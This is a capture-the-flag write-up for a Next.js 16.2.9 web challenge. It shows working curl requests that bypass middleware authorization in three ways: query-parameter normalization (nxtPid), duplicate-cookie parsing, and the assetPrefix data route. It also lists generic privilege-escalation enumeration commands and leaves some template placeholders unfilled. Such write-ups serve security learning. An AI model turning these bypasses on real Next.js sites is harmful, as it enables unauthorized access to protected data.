Migurimental
Migurimental
Platform: Sekai2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-28 | Status: Solved Techniques: nextjs_assetprefix_data_route_middleware_bypass, nextjs_nxtp_query_normalization_differential, duplicate_cookie_parser_differential, middleware_authorization_bypass
Summary
Next.js 16.2.9 challenge with two apps. The first half is recovered by abusing a nxtP query normalization differential to view Miku's access card, then a duplicate-cookie parser differential to pass middleware while SSR reads Miku's ticket. The second half is recovered from the second app by requesting /cdn/_next/data/<buildId>/index.json, where assetPrefix strips /cdn for rendering but the middleware matcher does not protect the prefixed data route.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
sekai2026| ID:20260628_sekai2026_migurimental - Tags: sqlite, jwt, nginx, nextjs, middleware_bypass, pages_router, assetprefix, cookie_parser_differential, query_normalization
- Indicators: Next.js 16.2.9 Pages Router, middleware.js protects SSR pages, assetPrefix: /cdn, _clientMiddlewareManifest.js discloses middleware matchers, nxtP-prefixed query parameter normalization
- Source:
20260628_sekai2026_migurimental.md
Foothold
Vulnerability / Misconfiguration
- Nextjs_assetprefix_data_route_middleware_bypass
- Nextjs_nxtp_query_normalization_differential
- Duplicate_cookie_parser_differential
- Middleware_authorization_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- nextjs_assetprefix_data_route_middleware_bypass
- nextjs_nxtp_query_normalization_differential
- duplicate_cookie_parser_differential
- middleware_authorization_bypass
- Tags: sqlite, jwt, nginx, nextjs, middleware_bypass, pages_router, assetprefix, cookie_parser_differential, query_normalization
Original Writeup
<details><summary>Click to expand original content</summary>Migurimental — sekai2026
Description
The challenge provided two Next.js instances and source code:
https://migurimental.chals.sekai.teamhttps://migurimental-2.chals.sekai.team
Both applications use Next.js 16.2.9 with Pages Router middleware. The flag is split in two halves:
backstage1/pages/backroom.jsreturns the first half ifticket_uuidbelongs to user id1(miku).backstage2/pages/index.jsreturns the second half, but middleware only allows requests whosex-real-miguheader equals1.3.3.7.
Analysis
Backstage 1
Middleware protects /access-card and /backroom:
if (request.nextUrl.pathname === '/access-card') {
const checkedId = request.nextUrl.searchParams.get('id')
if (checkedId !== session.sub) return deny(request)
}
if (request.nextUrl.pathname === '/backroom') {
const expectedTicket = session.ticketUuid
const middlewareTicket = request.cookies.get('ticket_uuid')?.value || ''
if (!expectedTicket || middlewareTicket !== expectedTicket) return deny(request)
}
The SSR page /access-card trusts query.id and generates a QR code containing that user's ticketUuid:
const user = await findById(query.id) const qrDataUrl = await QRCode.toDataURL(user.ticketUuid, ...)
Backstage 2
Middleware protects / by checking a header set by nginx:
const remoteAddress = request.headers.get('x-real-migu') || ''
if (remoteAddress !== '1.3.3.7') redirect('/rejected')
Directly spoofing x-real-migu fails because nginx overwrites it.
Solution
Step 1 — Register a normal account
Registering gives a regular session JWT and ticket_uuid cookie. Example from the solve:
Set-Cookie: session=<regular_session>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18; Path=/; HttpOnly; SameSite=Lax Location: /access-card?id=547
Step 2 — Leak Miku's ticket UUID with nxtPid
Next.js has a query normalization differential: a query parameter named nxtPid is normalized to id for middleware routing checks, while getServerSideProps still receives the original id query.
So this request makes middleware see our own id, but SSR renders user id 1:
curl -sS 'https://migurimental.chals.sekai.team/access-card?id=1&nxtPid=547' \ -H 'Cookie: session=<regular_session>; ticket_uuid=<regular_ticket>'
The response is Miku's access card (username: miku) with a QR code. Decoding the QR gives Miku's ticket UUID:
0464e4c2-2700-4e36-8401-597482a41ac7
Step 3 — Use duplicate cookie parser differential on /backroom
The middleware and SSR layer parse duplicate cookies differently:
- Edge middleware
request.cookies.get('ticket_uuid')uses the last duplicate cookie. - Node SSR
req.cookies.ticket_uuiduses the first duplicate cookie.
Send Miku's ticket first and our legitimate ticket last:
curl -sS 'https://migurimental.chals.sekai.team/backroom' \ -H 'Cookie: ticket_uuid=0464e4c2-2700-4e36-8401-597482a41ac7; session=<regular_session>; ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18'
Middleware validates the last ticket against our JWT, then SSR reads the first ticket and returns the first flag half:
SEKAI{REDACTED
Step 4 — Bypass backstage2 with assetPrefix + _next/data
The second app sets:
module.exports = {
assetPrefix: '/cdn',
}
The client middleware manifest shows the middleware matcher protects only the unprefixed data route:
self.__MIDDLEWARE_MATCHERS = [
{
"regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?(?:\\/(\\/?index|\\/?index\\.json|\\/?index(?:\\.rsc|\\.segments\\/.+\\.segment\\.rsc)))?[\\/#\\?]?$",
"originalSource": "/"
}
]
But the server strips assetPrefix before resolving the page. Requesting the prefixed data route bypasses middleware and still renders /:
curl -sS 'https://migurimental-2.chals.sekai.team/cdn/_next/data/nRVcVzPJ7U21AcMTs21fY/index.json'
This returns the second flag half:
REDACTED}
Failed attempts
- Old CVE-2025-29927
x-middleware-subrequestrecursion header did not work on Next.js 16.2.9. - Direct
x-real-migu: 1.3.3.7spoofing was overwritten by nginx. - Simple duplicate query
id=<own>&id=1passed middleware in some orderings but SSR treatedquery.idas an array and returned 404. - Direct unprefixed
_next/data/<buildId>/...routes were still covered by middleware.
Key indicators
Use these ideas when:
- A Next.js app relies on middleware/proxy as the only authorization boundary.
assetPrefixis configured and_next/dataSSR routes exist.- Middleware reads
request.nextUrl.searchParams, while SSR readsqueryfromgetServerSideProps. - Middleware and SSR both parse cookies, especially duplicate cookies, but use different runtimes/parsers.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR